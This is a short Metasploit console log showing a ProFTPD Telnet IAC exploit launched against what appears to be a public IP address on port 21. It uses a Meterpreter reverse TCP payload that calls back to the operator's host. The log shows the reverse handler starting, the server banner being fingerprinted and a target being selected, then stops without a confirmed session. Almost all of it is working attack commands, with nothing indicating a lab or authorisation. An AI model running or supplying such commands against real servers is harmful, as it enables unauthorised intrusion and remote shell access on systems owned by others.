msf > use linux/ftp/proftp_telnet_iac 
msf  exploit(proftp_telnet_iac) > set RHOST 213.239.235.179 
RHOST => 213.239.235.179 
msf  exploit(proftp_telnet_iac) > set RPORT 21 
RPORT => 21 
msf  exploit(proftp_telnet_iac) > set TARGET 0 
TARGET => 0 
msf  exploit(proftp_telnet_iac) > set PAYLOAD linux/x86/meterpreter/reverse_tcp PAYLOAD => linux/x86/meterpreter/reverse_tcp 
msf  exploit(proftp_telnet_iac) > set LHOST 192.168.1.4 
LHOST => 192.168.1.4 
msf  exploit(proftp_telnet_iac) > exploit[*] Started reverse handler on 192.168.1.4:4444[*] Automatically detecting the target... [*] FTP Banner: 220 ProFTPD 1.3.3a Server (Debian) [::ffff:213.239.235.179][*] Selected Target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1 
msf  exploit(proftp_telnet_iac) >